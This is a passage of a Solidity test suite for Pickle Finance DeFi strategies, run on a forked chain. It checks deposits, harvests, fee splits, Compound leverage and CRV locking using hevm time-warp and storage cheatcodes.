Hevm(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); UniswapRouterV2 univ2 = UniswapRouterV2( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D ); IUniswapV2Factory univ2Factory = IUniswapV2Factory( 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f ); ICurveFi_4 curveSusdV2 = ICurveFi_4( 0xA5407eAE9Ba41422680e2e00537571bcC53efBfD ); uint256 startTime = block.timestamp; receive() external payable {} fallback () external payable {} function _swap( address _from, address _to, uint256 _amount ) internal { address[] memory path; if (_from == eth || _from == weth) { path = new address[](2); path[0] = weth; path[1] = _to; univ2.swapExactETHForTokens{value: _amount}( 0, path, address(this), now + 60 ); } else { path = new address[](3); path[0] = _from; path[1] = weth; path[2] = _to; IERC20(_from).safeApprove(address(univ2), 0); IERC20(_from).safeApprove(address(univ2), _amount); univ2.swapExactTokensForTokens( _amount, 0, path, address(this), now + 60 ); } } function _getERC20(address token, uint256 _amount) internal { address[] memory path = new address[](2); path[0] = weth; path[1] = token; uint256[] memory ins = univ2.getAmountsIn(_amount, path); uint256 ethAmount = ins[0]; univ2.swapETHForExactTokens{value: ethAmount}( _amount, path, address(this), now + 60 ); } function _getERC20WithETH(address token, uint256 _ethAmount) internal { address[] memory path = new address[](2); path[0] = weth; path[1] = token; univ2.swapExactETHForTokens{value: _ethAmount}( 0, path, address(this), now + 60 ); } function _getUniV2LPToken(address lpToken, uint256 _ethAmount) internal { address token0 = IUniswapV2Pair(lpToken).token0(); address token1 = IUniswapV2Pair(lpToken).token1(); if (token0 != weth) { _getERC20WithETH(token0, _ethAmount.div(2)); } else { WETH(weth).deposit{value: _ethAmount.div(2)}(); } if (token1 != weth) { _getERC20WithETH(token1, _ethAmount.div(2)); } else { WETH(weth).deposit{value: _ethAmount.div(2)}(); } IERC20(token0).safeApprove(address(univ2), uint256(0)); IERC20(token0).safeApprove(address(univ2), uint256(-1)); IERC20(token1).safeApprove(address(univ2), uint256(0)); IERC20(token1).safeApprove(address(univ2), uint256(-1)); univ2.addLiquidity( token0, token1, IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), 0, 0, address(this), now + 60 ); } function _getUniV2LPToken( address token0, address token1, uint256 _ethAmount ) internal { _getUniV2LPToken(univ2Factory.getPair(token0, token1), _ethAmount); } function _getFunctionSig(string memory sig) internal pure returns (bytes4) { return bytes4(keccak256(bytes(sig))); } function _getDynamicArray(address payable one) internal pure returns (address payable[] memory) { address payable[] memory targets = new address payable[](1); targets[0] = one; return targets; } function _getDynamicArray(bytes memory one) internal pure returns (bytes[] memory) { bytes[] memory data = new bytes[](1); data[0] = one; return data; } function _getDynamicArray(address payable one, address payable two) internal pure returns (address payable[] memory) { address payable[] memory targets = new address payable[](2); targets[0] = one; targets[1] = two; return targets; } function _getDynamicArray(bytes memory one, bytes memory two) internal pure returns (bytes[] memory) { bytes[] memory data = new bytes[](2); data[0] = one; data[1] = two; return data; } function _getDynamicArray( address payable one, address payable two, address payable three ) internal pure returns (address payable[] memory) { address payable[] memory targets = new address payable[](3); targets[0] = one; targets[1] = two; targets[2] = three; return targets; } function _getDynamicArray( bytes memory one, bytes memory two, bytes memory three ) internal pure returns (bytes[] memory) { bytes[] memory data = new bytes[](3); data[0] = one; data[1] = two; data[2] = three; return data; } } contract StrategyCurveFarmTestBase is DSTestDefiBase { address governance; address strategist; address timelock; address devfund; address treasury; address want; PickleJar pickleJar; ControllerV4 controller; IStrategy strategy; // **** Tests **** function _test_withdraw() internal { uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); // Deposits to strategy pickleJar.earn(); // Fast forwards hevm.warp(block.timestamp + 1 weeks); strategy.harvest(); // Withdraws back to pickleJar uint256 _before = IERC20(want).balanceOf(address(pickleJar)); controller.withdrawAll(want); uint256 _after = IERC20(want).balanceOf(address(pickleJar)); assertTrue(_after > _before); _before = IERC20(want).balanceOf(address(this)); pickleJar.withdrawAll(); _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); // Gained some interest assertTrue(_after > _want); } function _test_get_earn_harvest_rewards() internal { uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); // Fast forward one week hevm.warp(block.timestamp + 1 weeks); // Call the harvest function uint256 _before = pickleJar.balance(); uint256 _treasuryBefore = IERC20(want).balanceOf(treasury); strategy.harvest(); uint256 _after = pickleJar.balance(); uint256 _treasuryAfter = IERC20(want).balanceOf(treasury); uint256 earned = _after.sub(_before).mul(1000).div(955); uint256 earnedRewards = earned.mul(45).div(1000); // 4.5% uint256 actualRewardsEarned = _treasuryAfter.sub(_treasuryBefore); // 4.5% performance fee is given assertEqApprox(earnedRewards, actualRewardsEarned); // Withdraw uint256 _devBefore = IERC20(want).balanceOf(devfund); _treasuryBefore = IERC20(want).balanceOf(treasury); uint256 _stratBal = strategy.balanceOf(); pickleJar.withdrawAll(); uint256 _devAfter = IERC20(want).balanceOf(devfund); _treasuryAfter = IERC20(want).balanceOf(treasury); // 0.175% goes to dev uint256 _devFund = _devAfter.sub(_devBefore); assertEq(_devFund, _stratBal.mul(175).div(100000)); // 0.325% goes to treasury uint256 _treasuryFund = _treasuryAfter.sub(_treasuryBefore); assertEq(_treasuryFund, _stratBal.mul(325).div(100000)); } } contract StrategyUniFarmTestBase is DSTestDefiBase { address want; address token1; address governance; address strategist; address timelock; address devfund; address treasury; PickleJar pickleJar; ControllerV4 controller; IStrategy strategy; function _getWant(uint256 ethAmount, uint256 amount) internal { _getERC20(token1, amount); uint256 _token1 = IERC20(token1).balanceOf(address(this)); IERC20(token1).safeApprove(address(univ2), 0); IERC20(token1).safeApprove(address(univ2), _token1); univ2.addLiquidityETH{value: ethAmount}( token1, _token1, 0, 0, address(this), now + 60 ); } // **** Tests **** function _test_timelock() internal { assertTrue(strategy.timelock() == timelock); strategy.setTimelock(address(1)); assertTrue(strategy.timelock() == address(1)); } function _test_withdraw_release() internal { uint256 decimals = ERC20(token1).decimals(); _getWant(10 ether, 4000 * (10**decimals)); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).safeApprove(address(pickleJar), 0); IERC20(want).safeApprove(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); hevm.warp(block.timestamp + 1 weeks); strategy.harvest(); // Checking withdraw uint256 _before = IERC20(want).balanceOf(address(pickleJar)); controller.withdrawAll(want); uint256 _after = IERC20(want).balanceOf(address(pickleJar)); assertTrue(_after > _before); _before = IERC20(want).balanceOf(address(this)); pickleJar.withdrawAll(); _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); // Check if we gained interest assertTrue(_after > _want); } function _test_get_earn_harvest_rewards() internal { uint256 decimals = ERC20(token1).decimals(); _getWant(10 ether, 4000 * (10**decimals)); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).safeApprove(address(pickleJar), 0); IERC20(want).safeApprove(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); hevm.warp(block.timestamp + 1 weeks); // Call the harvest function uint256 _before = pickleJar.balance(); uint256 _treasuryBefore = IERC20(want).balanceOf(treasury); strategy.harvest(); uint256 _after = pickleJar.balance(); uint256 _treasuryAfter = IERC20(want).balanceOf(treasury); uint256 earned = _after.sub(_before).mul(1000).div(955); uint256 earnedRewards = earned.mul(45).div(1000); // 4.5% uint256 actualRewardsEarned = _treasuryAfter.sub(_treasuryBefore); // 4.5% performance fee is given assertEqApprox(earnedRewards, actualRewardsEarned); // Withdraw uint256 _devBefore = IERC20(want).balanceOf(devfund); _treasuryBefore = IERC20(want).balanceOf(treasury); uint256 _stratBal = strategy.balanceOf(); pickleJar.withdrawAll(); uint256 _devAfter = IERC20(want).balanceOf(devfund); _treasuryAfter = IERC20(want).balanceOf(treasury); // 0.175% goes to dev uint256 _devFund = _devAfter.sub(_devBefore); assertEq(_devFund, _stratBal.mul(175).div(100000)); // 0.325% goes to treasury uint256 _treasuryFund = _treasuryAfter.sub(_treasuryBefore); assertEq(_treasuryFund, _stratBal.mul(325).div(100000)); } } contract PickleSwapTest is DSTestDefiBase { PickleSwap pickleSwap; function setUp() public { pickleSwap = new PickleSwap(); } function _test_uni_lp_swap(address lp1, address lp2) internal { _getUniV2LPToken(lp1, 20 ether); uint256 _balance = IERC20(lp1).balanceOf(address(this)); uint256 _before = IERC20(lp2).balanceOf(address(this)); IERC20(lp1).safeIncreaseAllowance(address(pickleSwap), _balance); pickleSwap.convertWETHPair(lp1, lp2, _balance); uint256 _after = IERC20(lp2).balanceOf(address(this)); assertTrue(_after > _before); assertTrue(_after > 0); } function test_pickleswap_dai_usdc() public { _test_uni_lp_swap( univ2Factory.getPair(weth, dai), univ2Factory.getPair(weth, usdc) ); } function test_pickleswap_dai_usdt() public { _test_uni_lp_swap( univ2Factory.getPair(weth, dai), univ2Factory.getPair(weth, usdt) ); } function test_pickleswap_usdt_susd() public { _test_uni_lp_swap( univ2Factory.getPair(weth, usdt), univ2Factory.getPair(weth, susd) ); } } contract StrategyCmpndDaiV1 is DSTestDefiBase { StrategyCmpdDaiV2 strategy; ControllerV4 controller; PickleJar pickleJar; address governance; address strategist; address timelock; address devfund; address treasury; address want; function setUp() public { want = dai; governance = address(this); strategist = address(new User()); timelock = address(this); devfund = address(new User()); treasury = address(new User()); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = new StrategyCmpdDaiV2( governance, strategist, address(controller), timelock ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); } function testFail_cmpnd_dai_v1_onlyKeeper_leverage() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); User randomUser = new User(); randomUser.execute(address(strategy), 0, "leverageToMax()", ""); } function testFail_cmpnd_dai_v1_onlyKeeper_deleverage() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); strategy.leverageToMax(); User randomUser = new User(); randomUser.execute(address(strategy), 0, "deleverageToMin()", ""); } function test_cmpnd_dai_v1_comp_accrued() public { _getERC20(want, 1000000e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); strategy.leverageToMax(); uint256 compAccrued = strategy.getCompAccrued(); assertEq(compAccrued, 0); hevm.warp(block.timestamp + 1 days); hevm.roll(block.number + 6171); // Roughly number of blocks per day compAccrued = strategy.getCompAccrued(); assertTrue(compAccrued > 0); } function test_cmpnd_dai_v1_comp_sync() public { _getERC20(want, 1000000e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); // Sets colFactor Buffer to be 3% (safeSync is 5%) strategy.setColFactorLeverageBuffer(30); strategy.leverageToMax(); // Back to 10% strategy.setColFactorLeverageBuffer(100); uint256 colFactor = strategy.getColFactor(); uint256 safeColFactor = strategy.getSafeLeverageColFactor(); assertTrue(colFactor > safeColFactor); // Sync automatically fixes the colFactor for us bool shouldSync = strategy.sync(); assertTrue(shouldSync); colFactor = strategy.getColFactor(); assertEqApprox(colFactor, safeColFactor); shouldSync = strategy.sync(); assertTrue(!shouldSync); } function test_cmpnd_dai_v1_leverage() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); uint256 _stratInitialBal = strategy.balanceOf(); uint256 _beforeCR = strategy.getColFactor(); uint256 _beforeLev = strategy.getCurrentLeverage(); strategy.leverageToMax(); uint256 _afterCR = strategy.getColFactor(); uint256 _afterLev = strategy.getCurrentLeverage(); uint256 _safeLeverageColFactor = strategy.getSafeLeverageColFactor(); assertTrue(_afterCR > _beforeCR); assertTrue(_afterLev > _beforeLev); assertEqApprox(_safeLeverageColFactor, _afterCR); uint256 _maxLeverage = strategy.getMaxLeverage(); assertTrue(_maxLeverage > 2e18); // Should be ~2.6, depending on colFactorLeverageBuffer uint256 leverageTarget = strategy.getLeveragedSupplyTarget( _stratInitialBal ); uint256 leverageSupplied = strategy.getSupplied(); assertEqApprox( leverageSupplied, _stratInitialBal.mul(_maxLeverage).div(1e18) ); assertEqApprox(leverageSupplied, leverageTarget); uint256 unleveragedSupplied = strategy.getSuppliedUnleveraged(); assertEqApprox(unleveragedSupplied, _stratInitialBal); } function test_cmpnd_dai_v1_deleverage() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); strategy.leverageToMax(); uint256 _beforeCR = strategy.getColFactor(); uint256 _beforeLev = strategy.getCurrentLeverage(); strategy.deleverageToMin(); uint256 _afterCR = strategy.getColFactor(); uint256 _afterLev = strategy.getCurrentLeverage(); assertTrue(_afterCR < _beforeCR); assertTrue(_afterLev < _beforeLev); assertEq(0, _afterCR); // 0 since we're not borrowing anything uint256 unleveragedSupplied = strategy.getSuppliedUnleveraged(); uint256 supplied = strategy.getSupplied(); assertEqApprox(unleveragedSupplied, supplied); } function test_cmpnd_dai_v1_withdrawSome() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); strategy.leverageToMax(); uint256 _before = IERC20(want).balanceOf(address(this)); pickleJar.withdraw(25e18); uint256 _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); assertEqApprox(_after.sub(_before), 25e18); _before = IERC20(want).balanceOf(address(this)); pickleJar.withdraw(10e18); _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); assertEqApprox(_after.sub(_before), 10e18); _before = IERC20(want).balanceOf(address(this)); pickleJar.withdraw(30e18); _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); assertEqApprox(_after.sub(_before), 30e18); // Make sure we're still leveraging uint256 _leverage = strategy.getCurrentLeverage(); assertTrue(_leverage > 1e18); } function test_cmpnd_dai_v1_withdrawAll() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); strategy.leverageToMax(); hevm.warp(block.timestamp + 1 days); hevm.roll(block.number + 6171); // Roughly number of blocks per day strategy.harvest(); // Withdraws back to pickleJar uint256 _before = IERC20(want).balanceOf(address(pickleJar)); controller.withdrawAll(want); uint256 _after = IERC20(want).balanceOf(address(pickleJar)); assertTrue(_after > _before); _before = IERC20(want).balanceOf(address(this)); pickleJar.withdrawAll(); _after = IERC20(want).balanceOf(address(this)); assertTrue(_after > _before); // Gained some interest assertTrue(_after > _want); } function test_cmpnd_dai_v1_earn_harvest_rewards() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); // Fast forward one week hevm.warp(block.timestamp + 1 days); hevm.roll(block.number + 6171); // Roughly number of blocks per day // Call the harvest function uint256 _before = strategy.getSupplied(); uint256 _treasuryBefore = IERC20(want).balanceOf(treasury); strategy.harvest(); uint256 _after = strategy.getSupplied(); uint256 _treasuryAfter = IERC20(want).balanceOf(treasury); uint256 earned = _after.sub(_before).mul(1000).div(955); uint256 earnedRewards = earned.mul(45).div(1000); // 4.5% uint256 actualRewardsEarned = _treasuryAfter.sub(_treasuryBefore); // 4.5% performance fee is given assertEqApprox(earnedRewards, actualRewardsEarned); // Withdraw uint256 _devBefore = IERC20(want).balanceOf(devfund); _treasuryBefore = IERC20(want).balanceOf(treasury); uint256 _stratBal = strategy.balanceOf(); pickleJar.withdrawAll(); uint256 _devAfter = IERC20(want).balanceOf(devfund); _treasuryAfter = IERC20(want).balanceOf(treasury); // 0.175% goes to dev uint256 _devFund = _devAfter.sub(_devBefore); assertEq(_devFund, _stratBal.mul(175).div(100000)); // 0.325% goes to treasury uint256 _treasuryFund = _treasuryAfter.sub(_treasuryBefore); assertEq(_treasuryFund, _stratBal.mul(325).div(100000)); } function test_cmpnd_dai_v1_functions() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); uint256 initialSupplied = strategy.getSupplied(); uint256 initialBorrowed = strategy.getBorrowed(); uint256 initialBorrowable = strategy.getBorrowable(); uint256 marketColFactor = strategy.getMarketColFactor(); uint256 maxLeverage = strategy.getMaxLeverage(); // Earn deposits 95% into strategy assertEqApprox(initialSupplied, 95e18); assertEqApprox( initialBorrowable, initialSupplied.mul(marketColFactor).div(1e18) ); assertEqApprox(initialBorrowed, 0); // Leverage to Max strategy.leverageToMax(); uint256 supplied = strategy.getSupplied(); uint256 borrowed = strategy.getBorrowed(); uint256 borrowable = strategy.getBorrowable(); uint256 currentColFactor = strategy.getColFactor(); uint256 safeLeverageColFactor = strategy.getSafeLeverageColFactor(); assertEqApprox(supplied, initialSupplied.mul(maxLeverage).div(1e18)); assertEqApprox(borrowed, supplied.mul(safeLeverageColFactor).div(1e18)); assertEqApprox( borrowable, supplied.mul(marketColFactor.sub(currentColFactor)).div(1e18) ); assertEqApprox(currentColFactor, safeLeverageColFactor); assertTrue(marketColFactor > currentColFactor); assertTrue(marketColFactor > safeLeverageColFactor); // Deleverage strategy.deleverageToMin(); uint256 deleverageSupplied = strategy.getSupplied(); uint256 deleverageBorrowed = strategy.getBorrowed(); uint256 deleverageBorrowable = strategy.getBorrowable(); assertEqApprox(deleverageSupplied, initialSupplied); assertEqApprox(deleverageBorrowed, initialBorrowed); assertEqApprox(deleverageBorrowable, initialBorrowable); } function test_cmpnd_dai_v1_deleverage_stepping() public { _getERC20(want, 100e18); uint256 _want = IERC20(want).balanceOf(address(this)); IERC20(want).approve(address(pickleJar), _want); pickleJar.deposit(_want); pickleJar.earn(); strategy.leverageToMax(); strategy.deleverageUntil(200e18); uint256 supplied = strategy.getSupplied(); assertEqApprox(supplied, 200e18); strategy.deleverageUntil(180e18); supplied = strategy.getSupplied(); assertEqApprox(supplied, 180e18); strategy.deleverageUntil(120e18); supplied = strategy.getSupplied(); assertEqApprox(supplied, 120e18); } } contract StrategyCurve3CRVv2Test is StrategyCurveFarmTestBase { function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); want = three_crv; controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyCurve3CRVv2( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); hevm.warp(startTime); _getWant(10000000 ether); } function _getWant(uint256 daiAmount) internal { _getERC20(dai, daiAmount); uint256[3] memory liquidity; liquidity[0] = IERC20(dai).balanceOf(address(this)); IERC20(dai).approve(three_pool, liquidity[0]); ICurveFi_3(three_pool).add_liquidity(liquidity, 0); } // **** Tests **** // function test_3crv_v1_withdraw() public { _test_withdraw(); } function test_3crv_v1_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyCurveRenCRVv2Test is StrategyCurveFarmTestBase { function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); want = ren_crv; controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyCurveRenCRVv2( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); hevm.warp(startTime); _getWant(10e8); // 10 wbtc } function _getWant(uint256 btcAmount) internal { _getERC20(wbtc, btcAmount); uint256[2] memory liquidity; liquidity[1] = IERC20(wbtc).balanceOf(address(this)); IERC20(wbtc).approve(ren_pool, liquidity[1]); ICurveFi_2(ren_pool).add_liquidity(liquidity, 0); } // **** Tests **** // function test_rencrv_v1_withdraw() public { _test_withdraw(); } function test_rencrv_v1_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyCurveSCRVv3_2Test is StrategyCurveFarmTestBase { function setUp() public { governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); want = scrv; controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyCurveSCRVv3_2( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); hevm.warp(startTime); _getWant(10000000 ether); } function _getWant(uint256 daiAmount) internal { _getERC20(dai, daiAmount); uint256[4] memory liquidity; liquidity[0] = IERC20(dai).balanceOf(address(this)); IERC20(dai).approve(susdv2_pool, liquidity[0]); ICurveFi_4(susdv2_pool).add_liquidity(liquidity, 0); } // **** Tests **** // function test_scrv_v3_1_withdraw() public { _test_withdraw(); } function test_scrv_v3_1_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyCurveSCRVv4Test is DSTestDefiBase { address escrow = 0x5f3b5DfEb7B28CDbD7FAba78963EE202a494e2A2; address curveSmartContractChecker = 0xca719728Ef172d0961768581fdF35CB116e0B7a4; address governance; address strategist; address timelock; address devfund; address treasury; PickleJar pickleJar; ControllerV4 controller; StrategyCurveSCRVv4_1 strategy; SCRVVoter scrvVoter; CRVLocker crvLocker; function setUp() public { governance = address(this); strategist = address(new User()); timelock = address(this); devfund = address(new User()); treasury = address(new User()); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); crvLocker = new CRVLocker(governance); scrvVoter = new SCRVVoter(governance, address(crvLocker)); strategy = new StrategyCurveSCRVv4_1( address(scrvVoter), address(crvLocker), governance, strategist, address(controller), timelock ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); scrvVoter.approveStrategy(address(strategy)); scrvVoter.approveStrategy(governance); crvLocker.addVoter(address(scrvVoter)); hevm.warp(startTime); // Approve our strategy on smartContractWhitelist // Modify storage value so we are approved by the smart-wallet-white-list // storage in solidity - https://ethereum.stackexchange.com/a/41304 bytes32 key = bytes32(uint256(address(crvLocker))); bytes32 pos = bytes32(0); // pos 0 as its the first state variable bytes32 loc = keccak256(abi.encodePacked(key, pos)); hevm.store(curveSmartContractChecker, loc, bytes32(uint256(1))); // Make sure our crvLocker is whitelisted assertTrue( ICurveSmartContractChecker(curveSmartContractChecker).wallets( address(crvLocker) ) ); } function _getSCRV(uint256 daiAmount) internal { _getERC20(dai, daiAmount); uint256[4] memory liquidity; liquidity[0] = IERC20(dai).balanceOf(address(this)); IERC20(dai).approve(susdv2_pool, liquidity[0]); ICurveFi_4(susdv2_pool).add_liquidity(liquidity, 0); } // **** Tests **** function test_scrv_v4_1_withdraw() public { _getSCRV(10000000 ether); // 1 million DAI uint256 _scrv = IERC20(scrv).balanceOf(address(this)); IERC20(scrv).approve(address(pickleJar), _scrv); pickleJar.deposit(_scrv); // Deposits to strategy pickleJar.earn(); // Fast forwards hevm.warp(block.timestamp + 1 weeks); strategy.harvest(); // Withdraws back to pickleJar uint256 _before = IERC20(scrv).balanceOf(address(pickleJar)); controller.withdrawAll(scrv); uint256 _after = IERC20(scrv).balanceOf(address(pickleJar)); assertTrue(_after > _before); _before = IERC20(scrv).balanceOf(address(this)); pickleJar.withdrawAll(); _after = IERC20(scrv).balanceOf(address(this)); assertTrue(_after > _before); // Gained some interest assertTrue(_after > _scrv); } function test_scrv_v4_1_get_earn_harvest_rewards() public { address dev = controller.devfund(); // Deposit sCRV, and earn _getSCRV(10000000 ether); // 1 million DAI uint256 _scrv = IERC20(scrv).balanceOf(address(this)); IERC20(scrv).approve(address(pickleJar), _scrv); pickleJar.deposit(_scrv); pickleJar.earn(); // Fast forward one week hevm.warp(block.timestamp + 1 weeks); // Call the harvest function uint256 _before = pickleJar.balance(); uint256 _rewardsBefore = IERC20(scrv).balanceOf(treasury); User(strategist).execute(address(strategy), 0, "harvest()", ""); uint256 _after = pickleJar.balance(); uint256 _rewardsAfter = IERC20(scrv).balanceOf(treasury); uint256 earned = _after.sub(_before).mul(1000).div(955); uint256 earnedRewards = earned.mul(45).div(1000); // 4.5% uint256 actualRewardsEarned = _rewardsAfter.sub(_rewardsBefore); // 4.5% performance fee is given assertEqApprox(earnedRewards, actualRewardsEarned); // Withdraw uint256 _devBefore = IERC20(scrv).balanceOf(dev); uint256 _stratBal = strategy.balanceOf(); pickleJar.withdrawAll(); uint256 _devAfter = IERC20(scrv).balanceOf(dev); // 0.175% goes to dev uint256 _devFund = _devAfter.sub(_devBefore); assertEq(_devFund, _stratBal.mul(175).div(100000)); } function test_scrv_v4_1_lock() public { // Deposit sCRV, and earn _getSCRV(10000000 ether); // 1 million DAI uint256 _scrv = IERC20(scrv).balanceOf(address(this)); IERC20(scrv).approve(address(pickleJar), _scrv); pickleJar.deposit(_scrv); pickleJar.earn(); // Fast forward one week hevm.warp(block.timestamp + 1 weeks); uint256 _before = IERC20(crv).balanceOf(address(crvLocker)); // Call the harvest function strategy.harvest(); // Make sure we can open lock uint256 _after = IERC20(crv).balanceOf(address(crvLocker)); assertTrue(_after > _before); // Create a lock crvLocker.createLock(_after, block.timestamp + 5 weeks); // Harvest etc hevm.warp(block.timestamp + 1 weeks); strategy.harvest(); // Increase amount crvLocker.increaseAmount(IERC20(crv).balanceOf(address(crvLocker))); // Increase unlockTime crvLocker.increaseUnlockTime(block.timestamp + 5 weeks); // Fast forward hevm.warp(block.timestamp + 5 weeks + 1 hours); // Withdraw _before = IERC20(crv).balanceOf(address(crvLocker)); crvLocker.release(); _after = IERC20(crv).balanceOf(address(crvLocker)); assertTrue(_after > _before); } } contract StrategyUniEthDaiLpV4Test is StrategyUniFarmTestBase { function setUp() public { want = 0xA478c2975Ab1Ea89e8196811F51A7B7Ade33eB11; token1 = dai; governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyUniEthDaiLpV4( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); // Set time hevm.warp(startTime); } // **** Tests **** function test_ethdaiv3_1_timelock() public { _test_timelock(); } function test_ethdaiv3_1_withdraw_release() public { _test_withdraw_release(); } function test_ethdaiv3_1_get_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyUniEthUsdcLpV4Test is StrategyUniFarmTestBase { function setUp() public { want = 0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc; token1 = usdc; governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyUniEthUsdcLpV4( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); // Set time hevm.warp(startTime); } // **** Tests **** function test_ethusdcv3_1_timelock() public { _test_timelock(); } function test_ethusdcv3_1_withdraw_release() public { _test_withdraw_release(); } function test_ethusdcv3_1_get_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyUniEthUsdtLpV4Test is StrategyUniFarmTestBase { function setUp() public { want = 0x0d4a11d5EEaaC28EC3F61d100daF4d40471f1852; token1 = usdt; governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyUniEthUsdtLpV4( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); // Set time hevm.warp(startTime); } // **** Tests **** function test_ethusdtv3_1_timelock() public { _test_timelock(); } function test_ethusdtv3_1_withdraw_release() public { _test_withdraw_release(); } function test_ethusdtv3_1_get_earn_harvest_rewards() public { _test_get_earn_harvest_rewards(); } } contract StrategyUniEthWBtcLpV2Test is StrategyUniFarmTestBase { function setUp() public { want = 0xBb2b8038a1640196FbE3e38816F3e67Cba72D940; token1 = wbtc; governance = address(this); strategist = address(this); devfund = address(new User()); treasury = address(new User()); timelock = address(this); controller = new ControllerV4( governance, strategist, timelock, devfund, treasury ); strategy = IStrategy( address( new StrategyUniEthWBtcLpV2( governance, strategist, address(controller), timelock ) ) ); pickleJar = new PickleJar( strategy.want(), governance, timelock, address(controller) ); controller.setJar(strategy.want(), address(pickleJar)); controller.approveStrategy(strategy.want(), address(strategy)); controller.setStrategy(strategy.want(), address(strategy)); // Set time 